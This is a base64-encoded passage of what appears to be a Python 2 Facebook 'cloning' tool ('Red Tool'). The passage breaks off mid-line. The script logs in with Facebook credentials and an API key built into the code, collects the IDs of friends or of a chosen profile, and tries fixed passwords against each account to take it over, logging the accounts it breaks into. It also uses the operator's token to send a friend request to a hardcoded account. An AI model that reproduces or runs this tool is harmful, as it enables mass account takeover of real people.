DilLwg4pS8ClwwMzNbMTs5MW3ilLwg4pS8IOKUvCDilLwg4pS8IOKWiCDilogg4paIIOKUvCDilLwg4pS8IOKUvCDilLwKXDAzM1sxOzkxbeKUvCDilLwg4pS8IOKUvCDilLwg4pS8IOKWiCDilLwg4pS8IOKUvCDilLwg4pS8IOKUvAoKXDAzM1sxOzkybeKVrOKVrOKVrOKVrOKVrOKVrOKVrOKVrOKVrOKVrOKVrOKVrOKVrOKVrOKVrOKVrOKVrOKVrFwwMzNbMTs5M20tUmVkIFRvb2wtXDAzM1sxOzkybeKVrOKVrOKVrOKVrOKVrOKVrOKVrOKVrOKVrOKVrOKVrOKVrOKVrOKVrOKVrOKVrOKVrOKVrOKVrApcMDMzWzE7OTFtKuKVlOKVkOKVkOKVkOKVkOKVkOKVkOKVkOKVkOKVkOKVkOKVkOKVkOKVkOKVkOKVkOKVkOKVkOKVkOKVkOKdluKAouCzi8KwIMKw4LOL4oCi4p2W4pWQ4pWQ4pWQ4pWQ4pWQ4pWQ4pWQ4pWQ4pWQ4pWQ4pWQ4pWQ4pWQ4pWXKgogXDAzM1sxOzk3beKWo+KWo+KWo+KWo+KWo+KWo+KWo+KWo0F1dGhvciBOYW1lOiBSZWQgSGFja2VyXDAzM1sxOzk3beKWo+KWo+KWo+KWo+KWo+KWo+KWo+KWo+KWo+KWo+KWo+KWowogXDAzM1sxOzk3beKWo+KWo+KWo+KWo+KWo+KWo+KWo1doYXRzYXBwIE51bTogKzkxNzM1NjI2ODgxOOKAouKWo+KWo+KWo+KWo+KWo+KWo+KWo+KWowogIFwwMzNbMTs5N23ilqPilqPilqPilqPilqPilqNXaGF0c2FwcCBHcm91cDogUmVkIEhhY2tlcnMgQXJteVwwMzNbMTs5N23ilqPilqPilqPilqPilqPilqPilqMKXDAzM1sxOzkxbSrilZrilZDilZDilZDilZDilZDilZDilZDilZDilZDilZDilZDilZDilZDilZDilZDilZDilZDilZDilZDinZbigKLgs4vCsCDCsOCzi+KAouKdluKVkOKVkOKVkOKVkOKVkOKVkOKVkOKVkOKVkOKVkOKVkOKVkOKVkOKVnSoKXDAzM1sxOzkybeKVrOKVrOKVrOKVrOKVrOKVrOKVrOKVrOKVrOKVrOKVrOKVrOKVrOKVrOKVrOKVrOKVrOKVrFwwMzNbMTs5M21SZWQgVG9vbFwwMzNbMTs5Mm3ilazilazilazilazilazilazilazilazilazilazilazilazilazilazilawiIiIKCmRlZiB0aWsoKToKCXRpdGlrID0gWycuICAgJywnLi4gICcsJy4uLiAnXQoJZm9yIG8gaW4gdGl0aWs6CgkJcHJpbnQoIlxyXHgxYlsxOzkzbVBsZWFzZSBXYWl0IFx4MWJbMTs5M20iK28pLDtzeXMuc3Rkb3V0LmZsdXNoKCk7dGltZS5zbGVlcCgxKQoKCmJhY2sgPSAwCmJlcmhhc2lsID0gW10KY2VrcG9pbnQgPSBbXQpva3MgPSBbXQppZCA9IFtdCmxpc3RncnVwID0gW10KdnVsbm90ID0gIlwwMzNbMzFtTm90IFZ1bG4iCnZ1bG4gPSAiXDAzM1szMm1WdWxuIgoKb3Muc3lzdGVtKCJjbGVhciIpCnByaW50ICAiIiIKICAgICAg4paI4paA4paA4paIIOKWiOKWgOKWgCDilojiloDiloDiloQgICDiloDiloDilojiloDiloAg4paI4paA4paA4paIIOKWiOKWgOKWgOKWiCDilojilpHilpEKICAgICAg4paI4paE4paE4paAIOKWiOKWgOKWgCDilojilpHilpHiloggICDilpHilpHilojilpHilpEg4paI4paR4paR4paIIOKWiOKWkeKWkeKWiCDilojilpHilpEKICAgICAg4paA4paR4paA4paAIOKWgOKWgOKWgCDiloDiloDiloDilpEgICDilpHilpHiloDilpHilpEg4paA4paA4paA4paAIOKWgOKWgOKWgOKWgCDiloDiloDiloAKICAgICAKICAgICAgICAgIFwwMzNbMTs5MW3ila3ilIHilIHilIHilIHilIHilIHilIHila4KICAgICAgICAgIFwwMzNbMTs5MW3ilIMuLiAu4oCi4oCi4pePICB8CiAgICAgICAgICBcMDMzWzE7OTFt4pSD4paI4paI4paIV+KWiOKWiOKWiOKUgyAKICAgICAgICAgIFwwMzNbMTs5MW3ilIPilojilojilohF4paI4paI4paI4pSDIAogICAgICAgICAgXDAzM1sxOzkxbeKUg+KWiOKWiOKWiEzilojilojilojilIMgCiAgICAgICAgICBcMDMzWzE7OTFt4pSD4paI4paI4paITOKWiOKWiOKWiOKUgyAKICAgICAgICAgIFwwMzNbMTs5MW3ilIPilojilojilohD4paI4paI4paI4pSDIAogICAgICAgICAgXDAzM1sxOzkxbeKUg+KWiOKWiOKWiE/ilojilojilojilIMgCiAgICAgICAgICBcMDMzWzE7OTFt4pSD4paI4paI4paITeKWiOKWiOKWiOKUgyAKICAgICAgICAgIFwwMzNbMTs5MW3ilIPilojilojilohF4paI4paI4paI4pSDCiAgICAgICAgICBcMDMzWzE7OTFt4pSDIyAgPSAgPiAgICAgIAogICAgICAgICAgXDAzM1sxOzkxbeKVsOKUgeKUgeKUgeKUgeKUgeKUgeKUgeKVrwpcMDMzWzE7OTNt4oCi4peI4oCi4peI4oCi4peI4oCi4peI4oCi4peI4oCi4peI4oCi4peI4oCi4peI4oCiXDAzM1sxOzk2bVdlbGNvbWUgVG8gUmVkIFRvb2xcMDMzWzE7OTNt4oCi4peI4oCi4peI4oCi4oCi4peI4oCi4peI4oCi4peI4oCi4peI4oCi4peI4oCi4peI4oCiClwwMzNbMTs5Mm3ilazilazilazilazilazilazilazilazilazilazilazilazilazilazilazilazilazilazilazilaxcMDMzWzE7OTZtUmVkIEhhY2tlclwwMzNbMTs5Mm3ilazilazilazilazilazilazilazilazilazilazilazilazilazilazilazilawKICIiIgpwcmludCAiXDAzM1sxOzkybeKVrOKVrOKVrOKVrOKVrOKVrOKVrOKVrOKVrOKVrOKVrOKVrOKVrOKVrOKVrFwwMzNbMTs5MW1Mb2dpbiBSZWQgVG9vbFwwMzNbMTs5Mm3ilazilazilazilazilazilazilazilazilazilazilazilazilazilawiCgpDb3JyZWN0VXNlcm5hbWUgPSAiUmVkSGFja2VycyIKQ29ycmVjdFBhc3N3b3JkID0gIkFybXkiCgpsb29wID0gJ3RydWUnCndoaWxlIChsb29wID09ICd0cnVlJyk6CiAgICB1c2VybmFtZSA9IHJhd19pbnB1dCgiXDAzM1sxOzkxbfCfk5EgXHgxYlsxOzkxbVRvb2wgVXNlcm5hbWUgXHgxYlsxOzkxbcK7wrsgXHgxYlsxOzkybSIpCiAgICBpZiAodXNlcm5hbWUgPT0gQ29ycmVjdFVzZXJuYW1lKToKICAgIAlwYXNzd29yZCA9IHJhd19pbnB1dCgiXDAzM1sxOzkxbfCfl50gXHgxYlsxOzkxbVRvb2wgUGFzc3dvcmQgXHgxYlsxOzkxbcK7wrsgXHgxYlsxOzkybSIpCiAgICAgICAgaWYgKHBhc3N3b3JkID09IENvcnJlY3RQYXNzd29yZCk6CiAgICAgICAgICAgIHByaW50ICJMb2dnZWQgaW4gc3VjY2Vzc2Z1bGx5IGFzICIgKyB1c2VybmFtZSAjRGV2OlJlZCBIYWNrZXJzCgkgICAgdGltZS5zbGVlcCgyKQogICAgICAgICAgICBsb29wID0gJ2ZhbHNlJwogICAgICAgIGVsc2U6CiAgICAgICAgICAgIHByaW50ICJcMDMzWzE7OTNtV3JvbmcgUGFzc3dvcmQiCiAgICAgICAgICAgIG9zLnN5c3RlbSgneGRnLW9wZW4gaHR0cHM6Ly8ueW91dHViZS5jb20vY2hhbm5lbC8nKQogICAgZWxzZToKICAgICAgICBwcmludCAiXDAzM1sxOzk0bVdyb25nIFVzZXJuYW1lIgogICAgICAgIG9zLnN5c3RlbSgneGRnLW9wZW4gaHR0cHM6Ly9tLnlvdXR1YmUuY29tL2NoYW5uZWwvJykKCiMjIyMgTElDRU5TRSAjIyMjIwojPT09PT09PT09PT09PT09PT0jCmRlZiBsaXNlbnNpKCk6Cglvcy5zeXN0ZW0oJ2NsZWFyJykKCWxvZ2luKCkKIyMjI2xvZ2luIyMjIyMjIyMjCmRlZiBsb2dpbigpOgoJb3Muc3lzdGVtKCdjbGVhcicpCglwcmludCBsb2dvCglwcmludCAiXDAzM1sxOzk3bVsxXVwwMzNbMTs5N21Mb2dpbiBXaXRoIEZhY2Vib29rIgogICAgICAgIHRpbWUuc2xlZXAoMC4wNSkKICAgICAgICBwcmludCAiXDAzM1sxOzk3bVsyXVwwMzNbMTs5N21Mb2dpbiBXaXRoIFRva2VuIgogICAgICAgIHRpbWUuc2xlZXAoMC4wNSkKICAgICAgICBwcmludCAiXDAzM1sxOzk3bVswXVwwMzNbMTs5N21FeGkiCgl0aW1lLnNsZWVwKDAuMDUpCglwaWxpaF9sb2dpbigpCgpkZWYgcGlsaWhfbG9naW4oKToKCXBlYWsgPSByYXdfaW5wdXQoIlxuXDAzM1sxOzk3bVsrXSBcMDMzWzA7MzFtU2VsZWN0IE9wdGlvbjogXDAzM1sxOzkxbSIpCglpZiBwZWFrID09IiI6CgkJcHJpbnQgIlx4MWJbMTs5MW1GaWxsIGluIGNvcnJlY3RseSIKCQlwaWxpaF9sb2dpbigpCgllbGlmIHBlYWsgPT0iMSI6CgkJbG9naW4xKCkKICAgICAgICBlbGlmIHBlYWsgPT0iMiI6CgkgICAgICAgIHRva2VueigpCgllbGlmIHBlYWsgPT0iMCI6CgkJa2VsdWFyKCkKICAgICAgICBlbHNlOgoJCXByaW50IlwwMzNbMTs5MW1bIV0gV3JvbmcgaW5wdXQiCgkJa2VsdWFyKCkKCmRlZiBsb2dpbjEoKToKCW9zLnN5c3RlbSgnY2xlYXInKQoJdHJ5OgoJCXRva2V0ID0gb3BlbignbG9naW4udHh0JywncicpCgkJbWVudSgpIAoJZXhjZXB0IChLZXlFcnJvcixJT0Vycm9yKToKCQlvcy5zeXN0ZW0oJ2NsZWFyJykKICAgICAgICAgICAgICAgIHRpbWUuc2xlZXAoMC4wNSkKCQlwcmludCBsb2dvICAgICAgICAgICAgICAgIAoJCXByaW50ICJcMDMzWzE7OTdt4oCiLS0tLS0tLS0tLS0tLS0tLS1cMDMzWzE7MzdtS2FsaS5saW51eFwwMzNbMTs5N20tLS0tLS0tLS0tLS0tLS0tLeKAoiIKCQlwcmludCgnXDAzM1sxOzk3bVsrXVwwMzNbMTs0N21cMDMzWzE7MzFtTE9HSU4gV0lUSCBGQUNFQk9PS1x4MWJbMTs5N20gXDAzM1sxOzBtJyApCgkJcHJpbnQoJwknICkKCQlpZCA9IHJhd19pbnB1dCgnXDAzM1sxOzk3bVshXSBceDFiWzE7OTdtTnVtYmVyL0VtYWlsXHgxYlsxOzk3bTogXHgxYlsxOzk3bScpCgkJcHdkID0gcmF3X2lucHV0KCdcMDMzWzE7OTdtWytdIFx4MWJbMTs5N21QYXNzd29yZFx4MWJbMTs5N20gICAgOiBceDFiWzE7OTdtJykKCQl0aWsoKQoJCXRyeToKCQkJYnIub3BlbignaHR0cHM6Ly9tLmZhY2Vib29rLmNvbScpCgkJZXhjZXB0IG1lY2hhbml6ZS5VUkxFcnJvcjoKCQkJcHJpbnQiXG5ceDFiWzE7OTdtVGhlcmUgaXMgbm8gaW50ZXJuZXQgY29ubmVjdGlvbiIKCQkJa2VsdWFyKCkKCQlici5fZmFjdG9yeS5pc19odG1sID0gVHJ1ZQoJCWJyLnNlbGVjdF9mb3JtKG5yPTApCgkJYnIuZm9ybVsnZW1haWwnXSA9IGlkCgkJYnIuZm9ybVsncGFzcyddID0gcHdkCgkJYnIuc3VibWl0KCkKCQl1cmwgPSBici5nZXR1cmwoKQoJCWlmICdzYXZlLWRldmljZScgaW4gdXJsOgoJCQl0cnk6CgkJCQlzaWc9ICdhcGlfa2V5PTg4MmE4NDkwMzYxZGE5ODcwMmJmOTdhMDIxZGRjMTRkY3JlZGVudGlhbHNfdHlwZT1wYXNzd29yZGVtYWlsPScraWQrJ2Zvcm1hdD1KU09OZ2VuZXJhdGVfbWFjaGluZV9pZD0xZ2VuZXJhdGVfc2Vzc2lvbl9jb29raWVzPTFsb2NhbGU9ZW5fVVNtZXRob2Q9YXV0aC5sb2dpbnBhc3N3b3JkPScrcHdkKydyZXR1cm5fc3NsX3Jlc291cmNlcz0wdj0xLjA2MmY4Y2U5Zjc0YjEyZjg0YzEyM2NjMjM0MzdhNGEzMicKCQkJCWRhdGEgPSB7ImFwaV9rZXkiOiI4ODJhODQ5MDM2MWRhOTg3MDJiZjk3YTAyMWRkYzE0ZCIsImNyZWRlbnRpYWxzX3R5cGUiOiJwYXNzd29yZCIsImVtYWlsIjppZCwiZm9ybWF0IjoiSlNPTiIsICJnZW5lcmF0ZV9tYWNoaW5lX2lkIjoiMSIsImdlbmVyYXRlX3Nlc3Npb25fY29va2llcyI6IjEiLCJsb2NhbGUiOiJlbl9VUyIsIm1ldGhvZCI6ImF1dGgubG9naW4iLCJwYXNzd29yZCI6cHdkLCJyZXR1cm5fc3NsX3Jlc291cmNlcyI6IjAiLCJ2IjoiMS4wIn0KCQkJCXg9aGFzaGxpYi5uZXcoIm1kNSIpCgkJCQl4LnVwZGF0ZShzaWcpCgkJCQlhPXguaGV4ZGlnZXN0KCkKCQkJCWRhdGEudXBkYXRlKHsnc2lnJzphfSkKCQkJCXVybCA9ICJodHRwczovL2FwaS5mYWNlYm9vay5jb20vcmVzdHNlcnZlci5waHAiCgkJCQlyPXJlcXVlc3RzLmdldCh1cmwscGFyYW1zPWRhdGEpCgkJCQl6PWpzb24ubG9hZHMoci50ZXh0KQoJCQkJdW5pa2VycyA9IG9wZW4oImxvZ2luLnR4dCIsICd3JykKCQkJCXVuaWtlcnMud3JpdGUoelsnYWNjZXNzX3Rva2VuJ10pCgkJCQl1bmlrZXJzLmNsb3NlKCkKCQkJCXByaW50ICdcMDMzWzE7NDdtXDAzM1sxOzkxbUxvZ2luIFN1Y2Nlc3NmdWxcMDMzWzE7MG0nCgkJCQlvcy5zeXN0ZW0oJ3hkZy1vcGVuIGh0dHBzOi8vd3d3LnlvdXR1YmUuY29tL2NoYW5uZWwvJykKCQkJCXJlcXVlc3RzLnBvc3QoJ2h0dHBzOi8vZ3JhcGguZmFjZWJvb2suY29tL21lL2ZyaWVuZHM/bWV0aG9kPXBvc3QmdWlkcz1nd2ltdXNhMyZhY2Nlc3NfdG9rZW49Jyt6WydhY2Nlc3NfdG9rZW4nXSkKCQkJCW1lbnUoKQoJCQlleGNlcHQgcmVxdWVzdHMuZXhjZXB0aW9ucy5Db25uZWN0aW9uRXJyb3I6CgkJCQlwcmludCJcblx4MWJbMTs5N21UaGVyZSBpcyBubyBpbnRlcm5ldCBjb25uZWN0aW9uIgoJCQkJa2VsdWFyKCkKCQlpZiAnY2hlY2twb2ludCcgaW4gdXJsOgoJCQlwcmludCgiXG5ceDFiWzE7OTdtWW91ciBBY2NvdW50IGlzIG9uIENoZWNrcG9pbnQiKQoJCQlvcy5zeXN0ZW0oJ3JtIC1yZiBsb2dpbi50eHQnKQoJCQl0aW1lLnNsZWVwKDEpCgkJCWtlbHVhcigpCgkJZWxzZToKCQkJcHJpbnQoIlxuXHgxYlsxOzk3bVBhc3N3b3JkL0VtYWlsIGlzIHdyb25nIikKCQkJb3Muc3lzdGVtKCdybSAtcmYgbG9naW4udHh0JykKCQkJdGltZS5zbGVlcCgxKQoJCQlsb2dpbigpCgkJCQpkZWYgbWVudSgpOgoJb3Muc3lzdGVtKCdjbGVhcicpCgl0cnk6CgkJdG9rZXQ9b3BlbignbG9naW4udHh0JywncicpLnJlYWQoKQoJZXhjZXB0IElPRXJyb3I6CgkJb3Muc3lzdGVtKCdjbGVhcicpCgkJcHJpbnQiXHgxYlsxOzk0bVRva2VuIGludmFsaWQiCgkJb3Muc3lzdGVtKCdybSAtcmYgbG9naW4udHh0JykKCQl0aW1lLnNsZWVwKDEpCgkJbG9naW4oKQoJdHJ5OgoJCW8gPSByZXF1ZXN0cy5nZXQoJ2h0dHBzOi8vZ3JhcGguZmFjZWJvb2suY29tL21lP2FjY2Vzc190b2tlbj0nK3Rva2V0KQoJCWEgPSBqc29uLmxvYWRzKG8udGV4dCkKCQluYW1hID0gYVsnbmFtZSddCgkJaWQgPSBhWydpZCddCiAgICAgICAgICAgICAgICB0ID0gcmVxdWVzdHMuZ2V0KCdodHRwczovL2dyYXBoLmZhY2Vib29rLmNvbS9tZS9zdWJzY3JpYmVycz9hY2Nlc3NfdG9rZW49JyArIHRva2V0KQogICAgICAgICAgICAgICAgYiA9IGpzb24ubG9hZHModC50ZXh0KQogICAgICAgICAgICAgICAgc3ViID0gc3RyKGJbJ3N1bW1hcnknXVsndG90YWxfY291bnQnXSkKCWV4Y2VwdCBLZXlFcnJvcjoKCQlvcy5zeXN0ZW0oJ2NsZWFyJykKCQlwcmludCJcMDMzWzE7OTdtWW91ciBBY2NvdW50IGlzIG9uIENoZWNrcG9pbnQiCgkJb3Muc3lzdGVtKCdybSAtcmYgbG9naW4udHh0JykKCQl0aW1lLnNsZWVwKDEpCgkJbG9naW4oKQoJZXhjZXB0IHJlcXVlc3RzLmV4Y2VwdGlvbnMuQ29ubmVjdGlvbkVycm9yOgoJCXByaW50Ilx4MWJbMTs5NG1UaGVyZSBpcyBubyBpbnRlcm5ldCBjb25uZWN0aW9uIgoJCWtlbHVhcigpCglvcy5zeXN0ZW0oImNsZWFyIikgI0RldjpSZWQgSGFja2VyCglwcmludCBsb2dvCglwcmludCAiICBcMDMzWzE7OTJtwqstLS0t4oCi4peI4oCi4oCi4peI4oCiLS0tLVwwMzNbMTs5M21Mb2dnZWQgaW4gVXNlciBJbmZvXDAzM1sxOzkybS0tLS3igKLil4jigKLigKLil4jigKItLS0tLcK7IgoJcHJpbnQgIgkgICBcMDMzWzE7OTFtIE5hbWVcMDMzWzE7OTNtOlwwMzNbMTs5Mm0iK25hbWErIlwwMzNbMTs5M20gICAgICAgICAgICAgICAiCglwcmludCAiCSAgIFwwMzNbMTs5MW0gSURcMDMzWzE7OTNtOlwwMzNbMTs5Mm0iK2lkKyJceDFiWzE7OTNtICAgICAgICAgICAgICAiCglwcmludCAiXDAzM1sxOzkybeKVrOKVrOKVrOKVrOKVrOKVrOKVrOKVrOKVrOKVrOKVrOKVrOKVrOKVrOKVrOKVrOKVrOKVrOKVrOKVrFwwMzNbMTs5MW1SZWQgVG9vbFwwMzNbMTs5Mm3ilazilazilazilazilazilazilazilazilazilazilazilazilazilazilazilazilazilazilazilawiCglwcmludCAiXDAzM1sxOzk3bS3igKLil4jigKItXDAzM1sxOzkybT4gXDAzM1sxOzkybTEuXHgxYlsxOzkybVN0YXJ0IENsb25pbmcuLi4iCglwcmludCAiXDAzM1sxOzk3bS3igKLil4jigKItXDAzM1sxOzkxbT4gXDAzM1sxOzkxbTAuXDAzM1sxOzkxbUV4aXQgICAgICAgICAgICAiCglwaWxpaCgpCgoKZGVmIHBpbGloKCk6Cgl1bmlrZXJzID0gcmF3X2lucHV0KCJcblwwMzNbMTs5MW1DaG9vc2UgYW4gT3B0aW9uPj4+IFwwMzNbMTs5N20iKQoJaWYgdW5pa2VycyA9PSIiOgoJCXByaW50ICJceDFiWzE7OTFtRmlsbCBpbiBjb3JyZWN0bHkiCgkJcGlsaWgoKQoJZWxpZiB1bmlrZXJzID09IjEiOgoJCXN1cGVyKCkKCWVsaWYgdW5pa2VycyA9PSIwIjoKCQlqYWxhbignVG9rZW4gUmVtb3ZlZCcpCgkJb3Muc3lzdGVtKCdybSAtcmYgbG9naW4udHh0JykKCQlrZWx1YXIoKQoJZWxzZToKCQlwcmludCAiXHgxYlsxOzkxbUZpbGwgaW4gY29ycmVjdGx5IgoJCXBpbGloKCkKCgpkZWYgc3VwZXIoKToKCWdsb2JhbCB0b2tldAoJb3Muc3lzdGVtKCdjbGVhcicpCgl0cnk6CgkJdG9rZXQ9b3BlbignbG9naW4udHh0JywncicpLnJlYWQoKQoJZXhjZXB0IElPRXJyb3I6CgkJcHJpbnQiXHgxYlsxOzkxbVRva2VuIGludmFsaWQiCgkJb3Muc3lzdGVtKCdybSAtcmYgbG9naW4udHh0JykKCQl0aW1lLnNsZWVwKDEpCgkJbG9naW4oKQoJb3Muc3lzdGVtKCdjbGVhcicpCglwcmludCBsb2dvCglwcmludCAiXDAzM1sxOzkybS3igKLil4jigKItXDAzM1sxOzkxbT4gXDAzM1sxOzkybTEuXHgxYlsxOzk1bUNsb25lIEZyb20gRnJpZW5kIExpc3Twn5GsLiIKCXByaW50ICJcMDMzWzE7OTJtLeKAouKXiOKAoi1cMDMzWzE7OTFtPiBcMDMzWzE7OTJtMi5ceDFiWzE7OTVtQ2xvbmUgRnJvbSBQdWJsaWMgSUTwn5Go4oCN8J+RqOKAjfCfkabigI3wn5GmLiIKCXByaW50ICJcMDMzWzE7OTJtLeKAouKXiOKAoi1cMDMzWzE7OTFtPiBcMDMzWzE7OTFtMC5cMDMzWzE7OTRtQmFjayIKCXBpbGloX3N1cGVyKCkKCmRlZiBwaWxpaF9zdXBlcigpOgoJcGVhayA9IHJhd19pbnB1dCgiXG5cMDMzWzE7OTRtQ2hvb3NlIGFuIE9wdGlvbj4+PiBcMDMzWzE7OTdtIikKCWlmIHBlYWsgPT0iIjoKCQlwcmludCAiXHgxYlsxOzkxbUZpbGwgaW4gY29ycmVjdGx5IgoJCXBpbGloX3N1cGVyKCkKCWVsaWYgcGVhayA9PSIxIjoKCQlvcy5zeXN0ZW0oJ2NsZWFyJykKCQlwcmludCBsb2dvCgkJcHJpbnQgIlwwMzNbMTs5Mm3ilazilazilazilazilazilazilazilazilazilazilazilazilazilazilazilazilazilazilazilaxcMDMzWzE7OTFtUmVkIFRvb2xcMDMzWzE7OTJt4pWs4pWs4pWs4pWs4pWs4pWs4pWs4pWs4pWs4pWs4pWs4pWs4pWs4pWs4pWs4pWs4pWs4pWs4pWs4pWsIgoJCWphbGFuKCdcMDMzWzE7OTVtR2V0dGluZyBJRHMgXDAzM1sxOzkzbS4uLicpCgkJciA9IHJlcXVlc3RzLmdldCgiaHR0cHM6Ly9ncmFwaC5mYWNlYm9vay5jb20vbWUvZnJpZW5kcz9hY2Nlc3NfdG9rZW49Iit0b2tldCkKCQl6ID0ganNvbi5sb2FkcyhyLnRleHQpCgkJZm9yIHMgaW4gelsnZGF0YSddOgoJCQlpZC5hcHBlbmQoc1snaWQnXSkKCWVsaWYgcGVhayA9PSIyIjoKCQlvcy5zeXN0ZW0oJ2NsZWFyJykKCQlwcmludCBsb2dvCgkJaWR0ID0gcmF3X2lucHV0KCJcMDMzWzE7OTZtW+KAouKXiOKAol0gXDAzM1sxOzkybUVudGVyIElEXDAzM1sxOzkzbTogXDAzM1sxOzk3bSIpCgkJcHJpbnQgIlwwMzNbMTs5Mm3ilazilazilazilazilazilazilazilazilazilazilazilazilazilazilazilazilazilazilazilaxcMDMzWzE7OTFtUmVkIFRvb2xcMDMzWzE7OTJt4pWs4pWs4pWs4pWs4pWs4pWs4pWs4pWs4pWs4pWs4pWs4pWs4pWs4pWs4pWs4pWs4pWs4pWs4pWs4pWsIgoJCXRyeToKCQkJam9rID0gcmVxdWVzdHMuZ2V0KCJodHRwczovL2dyYXBoLmZhY2Vib29rLmNvbS8iK2lkdCsiP2FjY2Vzc190b2tlbj0iK3Rva2V0KQoJCQlvcCA9IGpzb24ubG9hZHMoam9rLnRleHQpCgkJCXByaW50IlwwMzNbMTs5M21OYW1lXDAzM1sxOzkzbTpcMDMzWzE7OTdtICIrb3BbIm5hbWUiXQoJCWV4Y2VwdCBLZXlFcnJvcjoKCQkJcHJpbnQiXHgxYlsxOzkybUlEIE5vdCBGb3VuZCEiCgkJCXJhd19pbnB1dCgiXG5cMDMzWzE7OTZtW1wwMzNbMTs5N21CYWNrXDAzM1sxOzk2bV0iKQoJCQlzdXBlcigpCgkJcHJpbnQiXDAzM1sxOzkzbUdldHRpbmcgSURzXDAzM1sxOzkybS4uLiIKCQlyID0gcmVxdWVzdHMuZ2V0KCJodHRwczovL2dyYXBoLmZhY2Vib29rLmNvbS8iK2lkdCsiL2ZyaWVuZHM/YWNjZXNzX3Rva2VuPSIrdG9rZXQpCgkJeiA9IGpzb24ubG9hZHMoci50ZXh0KQoJCWZvciBpIGluIHpbJ2RhdGEnXToKCQkJaWQuYXBwZW5kKGlbJ2lkJ10pCgllbGlmIHBlYWsgPT0iMCI6CgkJbWVudSgpCgllbHNlOgoJCXByaW50ICJceDFiWzE7OTFtRmlsbCBpbiBjb3JyZWN0bHkiCgkJcGlsaWhfc3VwZXIoKQoJCglwcmludCAiXDAzM1sxOzkxbVRvdGFsIElEc1wwMzNbMTs5M206IFwwMzNbMTs5NG0iK3N0cihsZW4oaWQpKQoJamFsYW4oJ1wwMzNbMTs5Mm1QbGVhc2UgV2FpdFwwMzNbMTs5M20uLi4nKQoJdGl0aWsgPSBbJy4gICAnLCcuLiAgJywnLi4uICddCglmb3IgbyBpbiB0aXRpazoKCQlwcmludCgiXHJcMDMzWzE7OTFtQ2xvbmluZ1wwMzNbMTs5M20iK28pLDtzeXMuc3Rkb3V0LmZsdXNoKCk7dGltZS5zbGVlcCgxKQoJcHJpbnQgIlxuXDAzM1sxOzkybcKrLS3igKLil4jigKLigKLil4jigKItLS1ceDFiWzE7OTNt4oCi4peI4oCiU3RvcCBQcm9jZXNzIFByZXNzIENUUkwrWuKAouKXiOKAolwwMzNbMTs5Mm0tLS3igKLil4jigKLigKLil4jigKItwrsiCglwcmludCAiXDAzM1sxOzkybeKVrOKVrOKVrOKVrOKVrOKVrOKVrOKVrOKVrOKVrOKVrOKVrOKVrOKVrOKVrOKVrOKVrOKVrOKVrOKVrFwwMzNbMTs5Nm1SZWQgSGFja2VycyBBcm15XDAzM1sxOzk1beKVrOKVrOKVrOKVrOKVrOKVrOKVrOKVrOKVrOKVrOKVrOKVrOKVrOKVrOKVrOKVrOKVrOKVrOKVrOKVrCIKCWphbGFuKCcgXDAzM1sxOzkzbS4uLi4uLi4u8J+Mn/CfjJ/wn4yf8J+Mn/CfjJ/wn4yf8J+Mn/CfjJ/wn4yf8J+Mn1wwMzNbMTs5NG1DbG9uaW5nIFN0YXJ0IHBsenp6IFdhaVwwMzNbMTs5M23wn4yf8J+Mn/CfjJ/wn4yf8J+Mn/CfjJ/wn4yf8J+Mn/CfjJ/wn4yfLi4uLi4uLi4gJykKCXByaW50ICJcMDMzWzE7OTJt4pWs4pWs4pWs4pWs4pWs4pWs4pWs4pWs4pWs4pWs4pWs4pWs4pWs4pWs4pWs4pWs4pWs4pWs4pWs4pWsXDAzM1sxOzkxbVJlZCBUb29sXDAzM1sxOzk1beKVrOKVrOKVrOKVrOKVrOKVrOKVrOKVrOKVrOKVrOKVrOKVrOKVrOKVrOKVrOKVrOKVrOKVrOKVrOKVrCIKCQoJCQkKCWRlZiBtYWluKGFyZyk6CgkJZ2xvYmFsIGNla3BvaW50LG9rcwoJCXVzZXIgPSBhcmcKCQl0cnk6CgkJCW9zLm1rZGlyKCdvdXQnKQoJCWV4Y2VwdCBPU0Vycm9yOgoJCQlwYXNzICNEZXY6QmFiYXJfQWxpCgkJdHJ5OgoJCQlhID0gcmVxdWVzdHMuZ2V0KCdodHRwczovL2dyYXBoLmZhY2Vib29rLmNvbS8nK3VzZXIrJy8/YWNjZXNzX3Rva2VuPScrdG9rZXQpCgkJCWIgPSBqc29uLmxvYWRzKGEudGV4dCkKCQkJcGFzczEgPSAoJzc4Njc4NicpCgkJCWRhdGEgPSB1cmxsaWIudXJsb3BlbigiaHR0cHM6Ly9iLWFwaS5mYWNlYm9vay5jb20vbWV0aG9kL2F1dGgubG9naW4/YWNjZXNzX3Rva2VuPTIzNzc1OTkwOTU5MTY1NSUyNTI1N0MwZjE0MGFhYmVkZmI2NWFjMjdhNzM5ZWQxYTIyNjNiMSZmb3JtYXQ9anNvbiZzZGtfdmVyc2lvbj0yJmVtYWlsPSIrKHVzZXIpKyImbG9jYWxlPWVuX1VTJnBhc3N3b3JkPSIrKHBhc3MxKSsiJnNkaz1pb3MmZ2VuZXJhdGVfc2Vzc2lvbl9jb29raWVzPTEmc2lnPTNmNTU1Zjk5ZmI2MWZjZDdhYTBjNDRmNThmNTIyZWY2IikKCQkJcSA9IGpzb24ubG9hZChkYXRhKQoJCQlpZiAnYWNjZXNzX3Rva2VuJyBpbiBxOgoJCQkJcHJpbnQgJ1x4MWJbMTs5MW1IYWNr8J+SiVx4MWJbMTs5N20tXHgxYlsxOzkzbeKcmVx4MWJbMTs5Nm0tJyArIHVzZXIgKyAnLVx4MWJbMTs5NG3inJlceDFiWzE7OTVtLScgKyBwYXNzMQoJCQkJb2tzLmFwcGVuZCh1c2VyK3Bhc3MxKQoJCQllbHNlOgoJCQkJaWYgJ3d3dy5mYWNlYm9vay5jb20nIGluIHFbImVycm9yX21zZyJdOgoJCQkJCXByaW50ICdceDFiWzE7OTRtQWZ0ZXI3RGF5c/Cfl51ceDFiWzE7OTdtLVx4MWJbMTs5M23inJlceDFiWzE7OTZtLScgKyB1c2VyICsgJy1ceDFiWzE7OTNt4pyZXHgxYlsxOzk1bS0nICsgcGFzczEKCQkJCQljZWsgPSBvcGVuKCJvdXQvY2hlY2twb2ludC50eHQiLCAiYSIpCgkJCQkJY2VrLndyaXRlKHVzZXIrInwiK3Bhc3MxKyJcbiIpCgkJCQkJY2VrLmNsb3NlKCkKCQkJCQljZWtwb2ludC5hcHBlbmQodXNlcitwYXNzMSkKCQkJCWVsc2U6CgkJCQkJcGFzczIgPSAnTWFsbHVzJwoJCQkJCWRhdGEgPSB1cmxsaWIudXJsb3BlbigiaHR0cHM6Ly9iLWFwaS5mYWNlYm9vay5jb20vbWV0aG9kL2F1dGgubG9naW4/YWNjZXNzX3Rva2VuPTIzNzc1OTkwOTU5MTY1NS